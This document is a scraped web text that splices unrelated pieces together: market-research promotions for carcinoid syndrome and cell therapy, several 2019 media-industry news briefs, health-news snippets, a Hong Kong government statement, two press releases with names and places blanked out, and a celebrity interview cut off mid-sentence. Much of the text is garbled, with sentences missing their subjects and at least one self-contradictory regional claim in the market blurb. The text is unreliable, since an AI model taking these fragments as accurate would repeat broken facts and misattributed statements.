Wockhardt Ltd. Sun Pharmaceutical Industries Limited Study Objectives: To provide detail analysis of parent market and the changing market dynamics of the industry. To provide detail analysis of the market structure along with estimated future growth forecast about various segments and sub-segments of the global carcinoid syndrome management market. To provide in depth market segmentation and historical, current and projected market size in terms of value and volume with respect to four main geographies and their countries- Americas, Europe, Asia-Pacific, and Middle East & Africa. To provide country level analysis of the market with respect to the current market size and future growth prospect. To provide detailed analysis on recent industry trends and developments, strategies of key players and competitive landscape of the market. To track and analyze developments which are competitive in nature such as joint ventures, strategic alliances, mergers and acquisitions, new product developments along with research and developments currently taking place in the global Carcinoid Syndrome Management. Regional Analysis The Global Carcinoid Syndrome Management is segmented on the basis of regions, into North America, Europe, Asia-Pacific, and Middle East & Africa. America accounts for the largest market share of the Global Carcinoid Syndrome Management by region in 2016. High per capita healthcare expenditures followed by increasing awareness of the diseases and presence of the developed healthcare sector are the major drivers for the market growth during the forecast period. Followed by the North America, Europe holds the second largest market. Asia pacific is the fastest growing region. However, the Middle East and Africa region holds the least share of the global market, especially due to the presence of the poor economies within the Asia Pacific region. In the Middle East & African region, the Middle East holds the largest market share. Browse Complete 85 Pages Premium Research Report Enabled with Respective Tables and Figures @ https://www.marketresearchfuture.com/reports/carcinoid-syndrome-management-market-2843 Table Of Contents 1 Introduction 1.1 Definition 1.2 Scope Of Study 1.2.1 Research Objective 1.2.2 Assumptions & Limitations 1.2.2.1 Assumptions 1.2.2.2 Limitations 1.3 Market Structure: 2 Research Methodology 2.1 Research Process: 2.2 Primary Research 2.3 Secondary Research: 3 Market Dynamics 3.1 Drivers 3.2 Restraints 3.3 Opportunities 3.4 Macroeconomic Indicators 4 Market Factor Analysis 4.1 Porters Five Forces Model 4.2 Bargaining Power Of Suppliers 4.3 Bargaining Power Of Buyers 4.4 Threat Of New Entrants 4.5 Threat Of Substitutes 4.6 Intensity Of Rivalry TOC Continued! Send an Enquiry @ https://www.marketresearchfuture.com/enquiry/2843 About US: Market Research Future (MRFR), enable customers to unravel the complexity of various industries through Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. Contact Us: Market Research Future Office No. 528, Amanora Chambers Magarpatta Road, Hadapsar, Pune 411028 Maharashtra, India Phone: +1 646 845 9312 Email: sales@marketresearchfuture.com Cell therapy has evolved as a recent phase of the biotechnological revolution in the medical sector. The key aim of cell therapy is to target various diseases at the cellular level by restoring a specific cell population as carriers of therapeutic cargo. Besides, cell therapy is used in combination with gene therapy for the treatment of several diseases. Potential applications of this therapy include treatment of urinary problems, cancers, autoimmune disease, neurological disorders, and infectious disease. In the future, cell therapy will also be used for rebuilding damaged cartilage in joints, repairing spinal cord injuries, and improving the immune system. The global cell therapy market is proliferating rapidly. Factors predominantly driving the growth of the market include the rising prevalence of chronic diseases and disorders, increasing geriatric population, increasing government assistance, and replacement of animal testing models. Besides, technological advancements transpired in the field of biotechnology are escalating the market on the global platform. Request Free Sample @ https://www.marketresearchfuture.com/sample_request/5066 Acknowledging the increasing traction that the market is garnering currently, Market Research Future (MRFR) in its recently published analysis asserts that the global cell therapy market is expected to witness significant accruals, growing at a 10.6% CAGR during the forecast period (2017-2023). Additional factors pushing up the growth of the market include the growing number of neurological disorders and the improvement in the regulatory framework. Other dominant driving forces behind the growth of the global cell therapy market are the regulation of tissue engineering and the exciting possibilities that this therapy is offering in the field of therapeutics. Conversely, factors such as the challenges that occurred during research and development activities impede the growth of the market. Also, the high cost associated with the development and reconstruction of cells is hampering the market growth especially in the developing and under-developed countries. Global Cell Therapy Market Segmentation For enhanced understanding, the market has been segmented into six key dynamics: By Type : Autologous and Allogeneic By Technology : Somatic Cell Technology, Cell Immortalization Technology, Viral Vector Technology, Genome Editing Technology, Cell Plasticity Technology, and Three-Dimensional Technology among others. By Source : Induced Pluripotent Stem Cells (iPSCs), Bone Marrow, Umbilical Cord Blood-Derived Cells, Adipose Tissue, and Neural Stem Cell among others. By Application : Musculoskeletal, Cardiovascular, Gastrointestinal, Neurological, Oncology, Dermatology, Wounds & Injuries, and Ocular among others. By End-users : Hospital & Clinics, Regenerative Medicine Centers, Diagnostic Centers, and Research Institutes among others. By Regions : North America, Asia Pacific, Europe, and the Rest-of-the-World. Global Cell Therapy Market Regional Analysis The North American region, heading with the successful advancements in therapies dominates the global cell therapy market with a significant share. The market is further expected to grow phenomenally, continuing its dominance from 2017 to 2023. Moreover, the growing number of patients suffering from chronic diseases such as cancer and cardiovascular disorders and well-defined per capita healthcare expenditure are acting as major tailwinds, driving the growth of the regional market. The US, backed by its huge technological advancements, accounts for the major contributor to the cell therapy market in North America. Furthermore, an increasing number of care facilities offering cell therapies alongside the advanced devices contribute to the growth of the regional market. Also, factors such as the presence of the well-established players, availability of funding for the development of new therapeutics, and treatment positively impact the growth of the market. The cell therapy market in the European region accounts for the second largest market, globally, expanding at a phenomenal CAGR. The resurging economy in Europe is undoubtedly playing a key role in fostering the growth of the regional market. Additionally, factors such as the availability of technologically advanced devices and the proliferation of quality healthcare along with the increasing healthcare cost contribute to the market growth in the region. Besides, the accessibility to the advanced technology and increasing government support for the R&D activities, propel the market growth in the region. The Asia Pacific cell therapy market is rapidly emerging as a profitable market, globally. Factors such as the support provided by the government and private entities for research & development will drive the market in the region. Moreover, factors such as the vast advancements in biotechnology and cell reconstructive methods are fostering the growth in the regional market. Furthermore, the rapidly growing healthcare sector led by improving economic conditions positively impacts the regional market. Also, developing healthcare technology and the large unmet needs will foster the growth of the market in the region. Global Cell Therapy Market Competitive Analysis Highly competitive, the cell therapy market appears to be widely expanded and fragmented characterized by several small and large-scale players. To gain a competitive edge and to sustain their position in the market, these players incorporate various strategic initiatives such as partnership, acquisition, collaboration, expansion, and product launch. The structure of the market is changing due to the acquisition of local players by multinational companies. Because of the increasing competition in the market, multinational companies are using the strategy of acquisition, which increases the profit of the company while significantly reducing the competition. Major Players Key players leading the global cell therapy market include GlaxoSmithKline plc, Novartis AG, MEDIPOST, PHARMICELL, Osiris, NuVasive, Inc., Anterogen.Co., Ltd., JCR Pharmaceuticals Co., Ltd, CELLECTIS, Cynata, BioNTech IMFS, Cognate, EUFETS GmbH, Pluristem, Genzyme Corporation, Grupo Praxis, and Advanced Tissue among others. Industry, Innovation & Related News March 12, 2019 - Cell Medica Ltd. (the UK), a leading global company engaging in the development, manufacture, and commercialization of cellular immunotherapy products for the treatment of cancer and viral infections announced the receiving of a grant of USD 8.7 MN from the Cancer Prevention and Research Institute of Texas (CPRIT the US) to accelerate off-the-shelf CAR-NKT cell therapy. In addition to being available off-the-shelf, the new cell-based therapy CMD-502 uses donor-derived natural killer T-cells to fight cancer and is expected to have a better safety profile than current chimeric antigen receptor (CAR) T-cell therapies. The therapy is being developed and refined in collaboration with the Baylor College of Medicine (BCM Texas, the US). Get full report & TOC @: https://www.marketresearchfuture.com/reports/cell-therapy-market-5066 About Market Research Future: At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by Components, Application, Logistics and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions. In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members. Contact: Akash Anand Market Research Future +1 646 845 9312 Email: sales@marketresearchfuture.com by Melynda Fuller , April 25, 2019 s latest Idea House will be on display on Amelia Island, Florida, this year, the company reports. The house will be featured in the magazines August issue. It has a team of pros overseeing its construction, including the magazines former style director turned head of Heather Chadduck Interiors & Textiles, Heather Chadduck Hillegas. who is managing the design. Public tours of the property begin June 8 and end December 8. The homes architecture, reported to be a mix of Lowcountry style with Southern design, is overseen by Jim Strickland and Clay Rokicki of Historical Concepts. Builders Matt Roberts, Chris Wood and Matt Birdwell of Riverside Homes and developers John Hillman, Jack Healan Jr., and Jack Healan III of Crane Island round out the team. advertisement advertisement The 2019 Idea House is located in a 113-home master-planned community called Crane Island on the western edge of Amelia Island, just five miles south of Fernandina Beach. This years house is a white, Victorian-style beach, with porches covering 1,400 square feet of space encourage indoor/outdoor living. According to Southern Livings website, the house is perched on the banks of the Intracoastal Waterway, with an interior color palette reflecting the natural colors surrounding it. Hillegas told Southern Living: "We're including an aggressive goal of around 93 ideas for readers in the Idea House. These are simple tricks with great decorating rewards, classic room themes, and architectural details." This years Idea House counts 12 sponsors whose products are included in the home, including Birch Lane, Carolina Lanterns & Lighting, Circa Lighting, Clarkson Lighting, Clopay, James Hardie Building Products, Marvin, Southern Living Exclusively at Dillard's, Southern Living Plant Collection, SunSetter Products, The Sherwin-Williams Company and Zuri Premium Decking. Finished house plans, dubbed Crane Island River House, will become available for purchase online. Additionally, the brand will create a signature Southern Living Crane Island Lantern with Carolina Lanterns. by Sara Guaglione , April 25, 2019 The Atlantic is expanding the cross-country reporting project, Our Towns, with support from Grow with Google. The project is led by The Atlantics national correspondent James Fallows and linguist-writer Deborah Fallows. Since 2013, they have traveled 100,000 miles across the United States to report on the state of small cities and towns. "Our Towns" is being relaunched, this time with underwriter Grow with Google, a program created in 2016 that aims to provide Google's training and tools to help build skills, careers and businesses. This year, the program is bringing digital literacy workshops to towns across the country to provide learning opportunities for local citizens. The Fallows will visit towns they haven't seen before and document their travels weekly through year's-end with a new landing page: theatlantic.com/our-towns.< /p> advertisement advertisement "Our Towns" reporting will appear across all platforms at The Atlantic. Grow with Google will also work with The Atlantic on custom, syndicated and branded content, as well as its creative studio, Re:think. Grow with Google is sponsoringThe Atlantics flagship podcast, Radio Atlantic. James Fallows pilots a single-engine prop plane to the towns across the U.S. The first stop is Indiana, with visits to Angola, Muncie, Indianapolis and Fort Wayne. The guiding principle of this reporting will be the one we developed city by city, story by story, surprise by surprise through our preceding years of travel, James Fallows wrote in a letter to readers introducing the project. The central premise is that the most positive and practical developments in this stage of American life are happening at the local and regional level but most Americans have barely heard of those developments, except in the communities where they themselves live. Fallows has been with The Atlantic for over 40 years. He has lived and worked in Shanghai, Beijing, Tokyo, Kuala Lumpur, Sydney, Washington, Austin, Berkeley and Seattle. Fallows has authored nearly 100 cover stories. The Fallows' first immersive reporting project for The Atlantic, called American Futures, became the best-selling book Our Towns in 2018. HBO is making a documentary based on the book. by Tanya Gazdik , April 25, 2019 Lexus is teaming with Sony Pictures for the latest installment of Men in Black. Lexus is the official vehicle of Men in Black Agents globally in Men in Black: International, starring Chris Hemsworth and Tessa Thompson. The film debuts in U.S. theaters June 14. The second trailer for the film was released today. The collaboration includes integration in the film, a co-branded TV spot, a custom Men in Black RC F and sponsorship of the film premiere. Sony is creating the co-branded spot with Lexus AOR Team One supplementing. It will be released in May. The partnership follows last years successful affiliation with Marvel Studios Black Panther. Lisa Materazzo, vice president of Lexus marketing, says this partnership has some similarities to that deal. advertisement advertisement It's a perfect fit for the RC F, which recently underwent an update to make it an even more capable alien-fighting machine, Materazzo tells Marketing Daily. The Lexus RC F offers the best power-to-weight ratio in its class and the most powerful Lexus V8 to date, generating 472-horsepower -- plus in the film it boasts special alien tech. The Lexus RX Hybrid and Lexus LX SUVs are also featured in film scenes with alien encounters. There will be marketing activations related to the film that have yet to be announced, Materazzo adds. We have a few surprises up our sleeves -- stay tuned. A Black Panther 2 is rumored to be in the works, but Materazzo declined to comment or confirm if Lexus has an ongoing deal with Marvel. by Sara Guaglione , April 26, 2019 The Associated Press is collaboratiing with nonprofits Religion News Foundation (RNF), its subsidiary Religion News Service (RNS) and independent publisheron a new initiative to expand global religion coverage. The project, called "The Global Religion Journalism Initiative," is funded by an 18-month, $4.9 million grant from Lilly Endowment Inc. to RNF. RNF provides education resources to media professionals, corporate clients and the general public on religious literacy. The organizations are claiming it is one of the largest investments in religion journalism in decades. "It is deeply affirming and humbling to be entrusted with this important grant, especially at a time when competent, reliable, professional religion journalism is needed more than ever," stated Thomas Gallagher, president and CEO of RNF, CEO-publisher of RNS. RNS publishes global news on religion, spirituality, culture and ethics. The Conversation provides commentary and analysis from the academic and research community to the general public. advertisement advertisement The organizations will create a joint global religion news desk to cover major world religions, "with an emphasis on explaining religious practices and principles behind current events and cultural movements, according to a statement. "This collaboration significantly expands APs capacity to explore issues of faith, ethics and spirituality as a social and cultural force," stated AP managing editor Brian Carovillano. The desk will produce multiformat content "intended to improve general understanding and analyze the significance of developments in the world of faith," according to the statement. This is an opportunity to bring content about religion to a much broader audience and market than has previously been possible, stated Michael Fabiano, APs vice president for local media. Each organization will keep editorial control of its respective content, which will be labeled and distributed by AP. RNS opinion content will be available to AP member news organizations and customers, but will not appear on the AP wire. AP will add eight religion journalists, RNS will add three religion journalists and The Conversation will add two religion editors. Additional business staff will also be hired across the organizations. On its Careers page, AP already has job postings for its Global Religion team, asking for a global editor, a news editor, two reporters (one to report on the intersection of youth and faith, and the other on politics and faith), a video journalist and a text and digital presentation editor. Lilly Endowment grants have previously helped fund other media projects, including RNFs support for RNS, and documentaries about religious leaders and traditions. by Alex Weprin , April 26, 2019 NBCUniversals upcoming streaming service will launch in about a year, according to NBCU CEO Steve Burke, speaking on parent company Comcasts quarterly earnings call this week. The company has remained somewhat mum on its streaming plans since announcing its intention to enter the space in January. The NBCU service will be ad-supported, and free to Comcast and Sky subscribers in the U.S. and Europe. Others will be able to pay to subscribe to the service. Burke argues that this approach will allow the company to achieve massive scale and ultimately, profitability faster than many competitors. So our approach, which we think is very interesting and different, is to take thousands of hours of great programming and make it free to the vast majority of people who live in the United States or the UK, Burke said. That's a way to get real scale quickly and achieve profitability more quickly than we would otherwise. advertisement advertisement Burke added the current streaming landscape is in some ways reminiscent of cable in the 1970s or 1980s. There will be a lot of entrants and a lot of companies will try to enter with their own unique strengths leveraging their own unique assets. The company plans to leverage Skys Now OTT platform to develop its upcoming service, with senior executives from Sky having moved to the U.S. to develop the platform. Comcast is also reported to be weighing whether to sell its 30% stake in Hulu to Disney, according to CNBC. Comcast CEO Brian Roberts addressed the companys stake in Hulu on the call. On Hulu, the relationship with NBC is very much in everybody's interest to maintain. We have no new news today on it other than to say it's really valuable. And we're really glad we own a large piece of it, Roberts said. NBC currently sells its same-season streaming rights to Hulu. If Comcast does sell its stake to Disney, it may want a guarantee that Hulu will continue to be a buyer of NBC shows under Disney. A recent study in rats shows that an innovative patch prevented the stretching of the heart muscle common after a heart attack. Share on Pinterest An innovative new patch limits heart muscle damage after a heart attack. A heart attack occurs when the blood flow that provides the heart muscle with oxygen is significantly reduced or blocked. The heart muscle is injured in the process, and the amount of damage usually depends on the size of the area supplied by the blocked artery. It can take about 8 weeks for the heart muscle to heal. Despite the damage, the rest of the heart has to keep on pumping blood. Scar tissue may form in the injured area and have an impact on the amount of blood that the heart is able to pump. Most people who survive a heart attack have some degree of coronary artery disease. This occurs when arteries become hardened and narrowed. Usually, survivors have to make crucial lifestyle changes and may have to take medication to prevent a future heart attack. According to the Centers for Disease Control and Prevention (CDC), more than 700,000 people in the United States have a heart attack every year. Of these, more than 500,000 experience their first heart attack and about 200,000 have already had one. Signs of a heart attack include chest pain and shortness of breath. Half of U.S. individuals have at least one of the following risk factors: high blood pressure, high cholesterol, or smoking. Diabetes, obesity, physical inactivity, and excessive alcohol use also increase the risk of a heart attack. New research finds that, despite the common phenomenon of having the munchies after using marijuana, cannabis users tend to weigh less and are less likely to be obese. Share on Pinterest New research finds a surprising correlation between marijuana use and lower weight. Recent surveys estimate that over 22 million people in the United States ages 12 and above regularly use cannabis and that more and more adults and seniors are taking up the habit. Most of the adults who consume marijuana regularly do so for recreational purposes. Almost 90 percent of U.S. adult cannabis users say that they use it recreationally, while only the remaining 10 percent use it for medical purposes. One of the physiological effects of marijuana is an increased appetite, or what is popularly referred to as having the munchies. Although it may seem intuitive that an increased appetite would lead to weight gain, current existing epidemiological studies suggest that marijuana users are less likely to be obese. So, a team of researchers from Michigan State University (MSU), in East Lansing, set out to investigate this matter further, investigating whether people who regularly consume marijuana are more likely to gain weight. Omayma Alshaarawy, Ph.D., an assistant professor of family medicine at MSU, led the new research, which appears in the International Journal of Epidemiology. Hong Kong: Internship exemption mooted The Medical Association proposed an option to standardise the period of required internship to be exempted in various public health authorities during the Food & Health Bureau's meeting yesterday with the major stakeholders of medical groups. Issuing a statement today, the Government noted that at the meeting, the association's representative proposed exempting non-locally trained doctors, who work either in the Hospital Authority, the Department of Health or the Faculty of Medicine of the two universities, from internship if they have engaged in clinical work for 18 months upon passing the Licensing Examination. The attendees welcomed the option to standardise the period of required internship to be exempted in various public health authorities. However, some attendees had reservations over the definition of 'clinical work' which excludes services other than clinical work in public hospitals, such as services in the Department of Health as well as teaching and scientific research work in the Faculty of Medicine of the two universities. The attendees also held different views on the method of calculating the duration of clinical work. Some also indicated that they need to better understand the details of the option for further discussion and consideration. Consensus on the relevant details had not been reached at the meeting. The Government hopes the medical sector will continue to discuss different options in a rational way and that the Medical Council will come up with a positive decision with no discrimination for relaxation of internship requirements at its meeting to be held next month. Representatives from the Medical Council, the Academy of Medicine, the Medical Association, the Faculty of Medicine of the two universities, the Department of Health and the Hospital Authority attended the meeting yesterday. This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. A long-term study supports earlier suggestions that testing the blood for levels of a certain protein could be a noninvasive way to track the progress of Alzheimers disease. Share on Pinterest Detecting a protein in the blood could track the progress of Alzheimers onset. The protein is called neurofilament light. It spills out of damaged and dying nerve cells, into the cerebrospinal fluid and then travels from there into the bloodstream. Previous studies have already demonstrated that blood levels of neurofilament light are higher in people with diseases, such as Alzheimers, that destroy nerve cells and tissue in the brain. However, few of these have been long-term investigations. The new study, which features in JAMA Neurology, suggests that measuring blood levels of neurofilament light could indicate whether drugs for treating Alzheimers disease are working. As yet, there is no noninvasive way of doing this. The findings follow those of another investigation that showed that measuring neurofilament light in the blood could identify Alzheimers disease 10 years or more before the emergence of symptoms such as decline in thinking and memory. However, the earlier study was limited to identifying people with a rare, inherited, early-onset form of Alzheimers disease that usually strikes before the age of 65. The more recent research applies to sporadic Alzheimers disease, a far more common, late-onset type that most often strikes after the age of 65. Taken together, says lead study author Dr. Niklas Mattsson, a physician at Skane University Hospital who also does research at Lund University, both in Sweden, these studies indicate that [neurofilament light] in the blood can be used to measure damage to brain cells in various forms of Alzheimers disease. Alzheimers disease and brain changes About 6080% of people with dementia have Alzheimers disease. The disease is complex and not easy to diagnose. The most common early symptom of Alzheimers disease is short-term memory loss, and this, together with other symptoms of cognitive and physical deterioration that result from loss of brain cells, gradually worsens over time. Eventually, the disease can stop people from being able to live independently, as they lose the ability to relate to others and their environment. According to figures from the Alzheimers Association, there are 5.8 million people living with Alzheimers disease in the United States, and this number is likely to rise to just under 14 million by 2050. There is currently no cure for Alzheimers disease. There are some treatments that can alleviate some of the symptoms for a little time, but none, as yet, can stop the disease from progressing. The changes in the brain that accompany Alzheimers disease begin a long time before the early symptoms start to appear. These changes include the toxic buildup of tau and beta-amyloid proteins that damage nerve cells ability to communicate and function and eventually cause their death. Blood test cheaper and easier For their investigation, Dr. Mattsson and his colleagues used data from the Alzheimers Disease Neuroimaging Initiative, a multisite study that is evaluating imaging and other biomarkers for early detection and progress-monitoring of Alzheimers disease. The data came from records of 1,583 individuals in North America who had given regular blood samples for up to 11 years during 20052016 and whose blood analysis included measures of neurofilament light. Just over 45% of the cohort was female and the average age was 73 years. Of the individuals, 401 had no cognitive impairment, 855 had mild cognitive impairment, and 327 had dementia due to Alzheimers disease. The researchers analyzed measures of neurofilament light protein together with other data that included: information from clinical diagnoses; markers of beta-amyloid and tau protein in cerebrospinal fluid; results from PET and MRI scans; and scores from thinking and memory tests. Dr. Mattsson says that they found that levels of neurofilament light protein rose over time in Alzheimers disease and that they were in line with the accumulated brain damage that was reflected in the brain scans and cerebrospinal fluid markers. Standard methods for indicating nerve cell damage, he explains, involve measuring the patients level of certain substances, using a lumbar puncture, or examining a brain MRI. These methods are complicated, take time, and are costly, he continues, adding that Measuring [neurofilament light] in the blood can be cheaper and is also easier for the patient. NEW LONDON, Conn. April 26, 2019 Gregory Toback New London, CT Westerly, RI Marianne Urbanski New London, CT Westerly, RI New London, CT Westerly, RI New London, CT Westerly, RI Gregory A. Toback St. John's University University of Connecticut University of Texas San Antonio Marianne Urbanski Connecticut's Holy Cross Worcester, Massachusetts University of Connecticut New London, CT Westerly, RI Gregory Toback /PRNewswire-PRWeb/ -- Keystone Dental, an oral healthcare company that creates dental implants, biomaterials and digital planning software, recently invited Dr.to speak at their 6th Annual Symposium. A respected periodontist with practices inand, Dr. Toback spoke about the transformations he and his team have seen in their patients who received full arch rehabilitation using dental implants. The symposium was dedicated to "Full Arch Esthetics and Digital Workflow, The Real World Approach" and had an attendance of over 500 clinicians.Dr. Toback spoke on two topics during the event, including "Full Arch Rehabilitation: Surgical and Collaborative Protocols that Work" and the "Full Arch Communication Lunch and Learn Workshop". Dr. Toback, an experienced periodontist at Shoreline Periodontics, regularly places dental implants and spoke about the life-changing effects patients experience after treatment.Rachel, a full mouth rehabilitation patient at Shoreline Periodontics, received a smile transformation that changed her life. "I haven't really smiled in 20 years," says Rachel. Now, after her treatment from Dr. Toback and his team, she remarks, "For years I've been in one type of pain or another. To alleviate all the pain, all the anxiety, all the embarrassment, all the discomfort, just to be myself again it is truly life-changing."At Shoreline Periodontics, Dr. Toback and his associate Dr.perform the teeth-in-a-day full arch solution that allows patients to have all remaining teeth extracted, dental implants placed and a full arch prosthesis attached in just one appointment."This is a great benefit for patients who can have this kind of treatment because they can leave our office with fixed teeth, avoiding removable types of temporaries during their healing process," said Dr. Toback on full arch restorations. "This type of treatment is now possible thanks to our three-dimensional imaging technology."Shoreline Periodontics is a periodontal specialty practice that offers high-quality dental implants, gum recession treatment and modern gum disease therapy. This periodontal team utilizes the most advanced dental technology to offer accurate and successful treatments. Both Dr. Toback and Dr. Urbanski, offer leading-edge care as esteemed periodontists inandThose interested in learning more about Dr. Toback, the Keystone Dental symposium or full arch dental implants can contact Shoreline Periodontics at 860-443-2428 for theirlocation or 401-596-0000 for theirlocation. Appointments can also be made online at http://www.shorelineperio.com.About the Practice Shoreline Periodontics is a periodontal practice offering personalized dental care for patients since 1998 and is located inand. Leading board-certified periodontist, Dr., received his B.A. fromand his Doctorate of Dental Medicine from the. He also received advanced training in periodontics and dental implants at theHealth Science Center in. Dr.has been voted one oftop dentists for more than seven years by Connecticut Magazine. Dr. Urbanski graduated cum laude from the College ofinwhere she earned a Bachelors' degree in Biology. She also received her Doctor of Dental Medicine degree and her Masters' of Dental Science degree from theDental School. Dr. Urbanski and Dr. Toback pride themselves on offering caring, professional treatment to each patient. Dr. Toback and Dr. Urbanski focus on minimally invasive surgeries including LANAP laser gum surgery and are certified to offer the Chao Pinhole Surgical Technique for treatment of gum recession. To learn more about Shoreline Periodontics and their dental services visit their website at http://www.shorelineperio.com or call 860-443-2428 for thelocation, or 401-596-0000 for theoffice.SOURCE Dr. KENNEBUNK, Maine April 26, 2019 Damon Little Louisville, Kentucky Damon Little Susan Burns Damon Little October 5, 2019 5k /PRNewswire-PRWeb/ -- Grammy award-winning songwriter, vocalist and producerwas working on a new inspirational single "Be Alright" when he felt that something was missing. While touring at a radio station inhe heard of the tragic suicide of Seven Bridges. The 10-year-old boy had been teased due to his medical condition that caused him to once wear a colostomy pouch (bag) for the elimination of bodily waste. A flood of emotions and memories overcame Mr. Little who was compelled to record a testimony to add to the song revealing for the first time that he too had lived with a colostomy until the age of 13, not much older than Seven when he died."This boy's story was my story. The feelings of isolation and pain of endless surgeries," says. He wanted to do more to help people living with an ostomy so he reached out to the nonprofit organization United Ostomy Associations of America (UOAA) to see what could be done to help the next person in need. UOAA has over 300 affiliated support groups around the country, a national advocacy program, and distributes free educational information to ostomy patients, caregivers and medical professionals.Mr. Little found that the volunteers of UOAA and many in the ostomy community (estimated by UOAA at 725,000 to one million people in U.S.) were equally shaken by this tragic loss and the existing stigmas that likely contributed to it. Ostomy surgery is a life-saving procedure that allows bodily waste to pass through a surgically created stoma on the abdomen into a prosthetic known as a 'pouch' or 'ostomy bag' on the outside of the body or an internal surgically created pouch for continent diversion surgeries. An ostomy may be necessary due to birth defects, cancer, inflammatory bowel disease, diverticulitis, incontinence and many other medical conditions. They are also necessary in cases of severe abdominal or pelvic trauma resulting from accidents or from injuries sustained during military service.Ostomy or continent diversion surgery can occur at any age and many patients feel in robust health after recovery but it is often the emotional scars that take the longest to heal. "Most people with an ostomy who connect to the support and education they need live full, active, and healthy lives," says UOAA President, a longtime ostomate. "Many people don't realize that with some help they can swim, play sports, work, be intimate, and fully embrace a second lease on life."is now partnering with UOAA to reach out to communities everywhere, particularly underserved populations, to dispel ostomy stigmas and connect people in need with support and educational resources. He'll also serve as UOAA's Ostomy Awareness Day Champion on. Events include the Run for Resilience Ostomythat will raise awareness in nine U.S. cities.For more information on ostomy education, advocacy and a support visit: http://www.ostomy.orgSOURCE UOAA Advertisement In their study, Razzak and fellow researchers started with morbidity and mortality data involving more than 30 emergency medical conditions in 195 countries. The data were drawn from the 1990 and 2015 Global Burden of Disease (GBD) studies, an internationally collaborative database of hundreds of medical condition statistics housed at the Institute for Health Metrics and Evaluation at the University of Washington and commonly used by researchers around the globe. In general, an emergency condition was defined as those requiring interventions within minutes to hours to reduce the chance of disability and death and improve health outcomes.Razzak and his team's results show a 6 percent increase in deaths of adults and children due to emergency conditions between 1990 and 2015. Over the 25-year period, the most significant decrease was found in upper-middle-income countries, and the lowest level of decrease -- between 11 and 15 percent -- in poorer nations. Overall, the mortality burden of medical emergencies was found to be more than four times to five times higher in low-income countries around the world compared to high-income countries.Globally, injuries from accidents, falls and burns (22 percent), heart attacks (17 percent), lung infections (11 percent) and strokes (7 percent) made up the top emergency conditions and diseases in 2015. Other conditions such as diarrheal diseases and malaria had a lower overall global burden, but were more prevalent in low-income countries. The analysis also showed that emergency diseases affect men much more than women, and half of all the emergency disease burden was among people younger than 45 years old.Countries with the lowest mortality and morbidity burden of medical emergencies included Bahrain, Israel and Kuwait, while Chad, Niger and Mali had the highest burdens. China, India and the United States, the three most populous countries studied, were ranked globally at 64th, 144th and 47th out of 195, respectively, in terms of the lowest burden of emergency diseases. "The level of disparity between richer and poorer nations is significant, and should not be acceptable to the global community," Razzak says.To determine the statistics, the researchers developed two novel "indicators" -- the Emergency Disease Mortality Rate (EDMR) and the Emergency Disease Burden (EDB) -- designed to standardize, measure and rank the scope and scale of emergency care and deaths at national, regional and global levels. The EDMR is based on deaths caused by about 30 selected emergency conditions, and was calculated using a computer algorithm, or formula. The EDB is a separate computer algorithm using disability adjusted life years (DALYs), the total number of years lost due to death or disability based on the life expectancy of a healthier population, or the years of lost life (YLL), which estimates the average years a person would have lived if not for premature death.Razzak cautions there are limitations in interpreting the statistics because some emergency conditions have chronic precedents and components. He says hypertension, for example, can become an "emergency" stroke even after years of "silent" impact if it's untreated or undertreated. Still, he hopes the research appeals to policymakers and enhances investments in emergency care, whether in ambulance systems or in the emergency departments themselves. "As policymakers start to focus and improve emergency care, we hope fewer lives will be lost," he says.Source: Eurekalert Varun Dhawan is one of few stars in the industry, who had the fortune to taste success quite early in life. But, if you think that most of that has got to do with his star kid status, think again. Over time, Varun has seriously strengthened his game and improved his acting skills with every role that he has taken up. We have seen him as the vengeful Raghu in 'Badlapur' and also as a carefree brat in 'Judwaa 2'. He has done exceptionally well in portraying both casual and intense roles. Name any genre and he has done it all, romance, drama or comedy, you can check on all the boxes. Varun may have the tag of being David Dhawan's son, but he has climbed the ladder of success on his own and that's what his father also believes as well. On April 24, Varun Dhawan celebrated his 32nd birthday and if you are his hardcore fan, then you'll be interested to know what he did on his special day. MensXP got in touch with David Dhawan to know about Varun's journey through a father's eyes. So, we started by asking how Varun celebrated his birthday. Sr Dhawan told us, "For his birthday, he has gone on a holiday. He was there and we were on the phone and Facebook with him. We cut a cake here and my granddaughter Nyra, who is not even one, joined us. We managed to celebrate his birthday." Viral Bhayani For a father, seeing his son grow in his career is one of the most amazing feelings and just a few words can't sum it up. But, we did make it a point to know, how as a father, he sees Varun's journey as an actor from 'Student Of The Year' till now. As a proud father, he told us that he credits Varun for all the success despite having a brand value of a Dhawan. "You know, as a father, I can say that he has gone up and up. I give all the credit to him for his success. He has given hits with me as well. I sent him for studies in the UK and when he came back, I didn't exactly know about his plans. He came back and joined Karan Johar as an Assistant Director for 'My Name Is Khan'. While working there, Karan told that Varun is going to act in my film. Karan found him an acting material. He has found his way himself. I, being a father, did a second film with him because I thought that's the right time. He is totally very independent and I have seen him improving as an actor. I am very proud of it," David said. Viral Bhayani Sr Dhawan takes immense pleasure in the fact that his son is a man with family values. For all those who know Varun or have met him would know how grounded he is as a human being, which speaks enough of the values he has been brought up with. David added, "He is a very homely guy or call him a family oriented person. We all live together. I have two sons and it's an amazing feeling" In an age where people want to stay as far as they can from their families, we have the Dhawan family that's all united and growing stronger with each passing day. Sr Dhawan and Jr Dhawan will now be pairing up for one more venture together and that would be the remake of the cult comedy film, 'Coolie No 1'. Confirming the same, the popular director told us, "He is my son and I am going to work with him. Sara Ali Khan is also a part of the film. I am going to start the shooting soon, sometime in August." Viral Bhayani Further, into the conversation, we asked David Dhawan if Varun ever comes to him for his suggestions or tips on the professional front. Well, the answer is a big YES. "He does come to me for his scripts or when he does a song, he makes me hear it. We both are very much in touch when it comes to working and we are like professionals. He knows my experience and he takes what he wants from it. Keeping the father-son bond aside, there is a great rapport between the two of us as a director and an actor," said Mr Dhawan. For a father, everything a son does holds immense value but then there are some projects that are always more appreciated. When we asked David Dhawan - which of Varun's films are his favourite, he said, "I have seen all his films. In 'Badlapur', he acted really well and it was a very different film. I loved him in 'Badrinath' 